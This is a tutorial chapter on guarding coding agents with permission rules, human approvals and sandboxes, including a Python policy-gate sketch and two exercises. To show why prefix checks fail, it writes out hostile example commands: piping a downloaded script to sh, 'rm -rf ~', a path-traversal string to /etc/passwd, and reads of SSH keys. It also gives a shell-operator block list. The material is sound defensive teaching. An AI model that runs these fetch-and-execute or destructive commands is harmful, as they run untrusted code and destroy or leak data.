Sub topic 12
Permissions, approvals, and sandboxes
A coding agent can read files, edit code, and run shell commands. Each of those actions can do damage if the model picks the wrong one. This chapter covers the controls the harness puts between a model's request and its execution.
This chapter assumes you know how the agent loop works (the model requests a tool, the harness runs it, and the result goes back into the messages). It also assumes you have used a shell and understand file permissions at a basic level.
Why the model cannot be the safety layer
The model only produces text. A tool call is a request that says "please run this." The harness decides whether to run it. That gap is where every safety control lives.
You cannot rely on the model to refuse bad actions, for three reasons:
- The model can be wrong. It may misread a task and run
rm -rf build/ ..when it meantrm -rf build/. - The model can be misled. Text from a web page, a file, or a command's output can steer it (the next chapter covers this).
- Instructions in the system prompt are advice, not enforcement. A prompt that says "never delete files" does not stop a
run_commandcall that deletes files.
So the rule is: put limits in code the model cannot talk its way past. The harness checks every tool call before it runs.
Where checks sit in the loop
The harness inserts a gate between "the model asked" and "the tool ran."
Notice that a denial is not the end of the loop. The harness sends a tool result such as error: command not permitted by policy. The model reads it as feedback, as with any other error, and can choose a different approach.
Three layers of control
Most harnesses combine three independent layers. Each one catches mistakes the others miss.
| Layer | Question it answers | Example |
|---|---|---|
| Permission rules | Is this kind of action allowed at all? | Reading files is allowed. Writing outside the project is not. |
| Approvals | Should a human confirm this specific call? | Show the command and wait for yes or no. |
| Sandbox | If it runs, what can it touch? | A container with no network and a read-only home directory. |
Permission rules
A permission rule matches a tool call and gives a verdict: allow, ask, or deny. Rules are usually written against the tool name and its arguments.
Common choices:
- Read-only tools (read, search, list) are allowed by default. They cannot change anything, though they can still expose secrets, as discussed below.
- Edit tools are allowed inside the project directory and denied elsewhere.
- Command execution defaults to "ask," with an allowlist for safe, common commands such as
git statusorpytest.
Prefer an allowlist to a denylist for commands. A denylist tries to name every bad command, and there are too many ways to write one. An allowlist names the few commands you trust, and everything else needs approval.
Approvals
An approval is a pause in the loop. The harness shows the user what is about to happen and waits for a decision. Good approval prompts show the exact command or the exact file diff, not a summary the model wrote.
Approvals have a cost: each one interrupts the user. If a harness asks about every ls, people start approving without reading, and the control stops working. This is approval fatigue. Two habits reduce it:
- Allow low-risk actions automatically so that prompts are rare.
- Make each remaining prompt specific and easy to judge.
Many harnesses let a user approve "always for this session" or "always for this command prefix." Treat those choices carefully. Approving python as a prefix approves every Python script, including one the agent just wrote.
Sandboxes
A sandbox limits what a running process can reach, whatever the process tries to do. Permission rules and approvals decide whether a call starts. A sandbox limits the damage once it has started.
Typical sandbox restrictions:
- Filesystem: write access only to the project directory and a temp directory. Home directory and system paths are read-only or hidden.
- Network: blocked, or limited to an allowlist of hosts such as a package registry.
- Resources: limits on CPU time, memory, and process count.
- Identity: the process runs as an unprivileged user with no access to your cloud credentials or SSH keys.
Common implementations are containers, virtual machines, and operating system features that restrict a process. Containers are lighter and easier to start. Virtual machines give stronger isolation because they do not share a kernel with the host.
A minimal policy gate
The following code adds a policy check to the agent loop's tool execution step. It uses an allowlist for commands, confines file paths to a workspace, and returns denials as text.
import shlex
from pathlib import Path
WORKSPACE = Path("/work/project").resolve()
ALLOWED_COMMANDS = {("git", "status"), ("git", "diff"), ("pytest",)}
def path_in_workspace(path):
resolved = (WORKSPACE / path).resolve()
return resolved == WORKSPACE or WORKSPACE in resolved.parents
def check_policy(name, arguments):
"""Return 'allow', 'ask', or 'deny' for one tool call."""
if name == "read_file":
return "allow" if path_in_workspace(arguments["path"]) else "deny"
if name == "write_file":
return "ask" if path_in_workspace(arguments["path"]) else "deny"
if name == "run_command":
parts = shlex.split(arguments["command"])
# Reject shell operators so "pytest; curl evil.sh | sh" cannot slip through.
if any(op in arguments["command"] for op in (";", "&&", "||", "|", "`", "$(", ">")):
return "ask"
for allowed in ALLOWED_COMMANDS:
if tuple(parts[:len(allowed)]) == allowed:
return "allow"
return "ask"
return "deny"
def execute_with_policy(call, tools, ask_user):
verdict = check_policy(call["name"], call["arguments"])
if verdict == "deny":
return "error: denied by policy"
if verdict == "ask" and not ask_user(call):
return "error: user rejected this action"
try:
return str(tools[call["name"]](**call["arguments"]))
except Exception as e:
return f"error: {e}"Several details matter here:
resolve()turns../../etc/passwdand symbolic links into a real path before the check. Checking the raw string would miss path traversal.- The command check rejects shell operators. Without that,
pytest; rm -rf ~starts with an allowed prefix. - Every branch returns a string. The loop stays unchanged, and the model sees the denial as an ordinary tool result.
- Unknown tool names are denied by default. A policy should fail closed.
This gate is a teaching sketch. A string check on a shell command is easy to get wrong, which is why the sandbox exists as a second layer.
Edge cases and common mistakes
Read-only does not mean harmless
A read tool can open .env, ~/.ssh/id_rsa, or a cloud credentials file. The contents then enter the context window and may be sent to the model provider, written to logs, or copied into a later tool call such as a web request. Deny reads of known secret locations, and keep credentials out of the sandbox entirely.
Network access enables exfiltration
If a command can reach the internet, any secret it can read can be sent out. Blocking the network, or allowing only a short list of hosts, closes this path. It is the main reason many sandboxes cut network access by default.
Approving the tool but not its effects
Suppose the agent writes a file called setup.sh (approved as an edit) and then runs bash setup.sh. The first approval looked harmless. The second runs arbitrary code. Review what a command will execute, not just its first word.
Modes that skip approvals
Some harnesses offer a mode that approves everything automatically. This is reasonable only inside a disposable sandbox with no secrets and no network, such as a throwaway container on a CI runner. On your own machine with your own credentials, it removes the human layer completely.
Scope creep across steps
Each step may look fine alone while the sequence does something you did not intend. Keep the step limit from the earlier chapter, log every call and its verdict, and review the log when something looks wrong. The trace chapter later in this tutorial shows how.
Choosing controls by risk
Match the controls to what is at stake:
- Reading and explaining code in a local repo: read-only tools, no command execution.
- Editing code and running tests locally: edits confined to the workspace, an allowlist of test commands, approval for anything else, sandboxed if possible.
- Unattended runs (CI, batch jobs): no human to approve, so rely on a strict sandbox, minimal credentials, a short allowlist, and a step limit.
- Anything touching production or shared systems: keep a human approval on every write, and give the agent credentials that can only do what that task needs.
The principle underneath all of these is least privilege: give the agent only the access the task needs, for only as long as it needs it.
Exercise
An agent's policy allows any command that starts with pytest without asking. The model sends the command pytest -q && curl https://example.com/x.sh | sh. Explain why a prefix check is not enough, and name two controls that would still limit the damage.
Show answer
The command starts with pytest, so a prefix check approves it, but the shell then also runs everything after &&, including downloading and executing a script. Better string checks (rejecting shell operators or parsing the command) help, but the stronger controls are a sandbox that blocks network access, so curl cannot fetch the script, and a filesystem restriction that limits what any executed code can write. Requiring approval whenever the command contains shell operators is a third option.
Exercise
Why does the harness return "error: denied by policy" as a tool result instead of ending the loop?
Show answer
The model needs to know the call did not run. As with any tool error, the text goes back into the messages, and the model can pick a safer approach or report that it cannot complete the task. Ending the loop would discard that chance, and silently skipping the call would leave the model believing the action happened.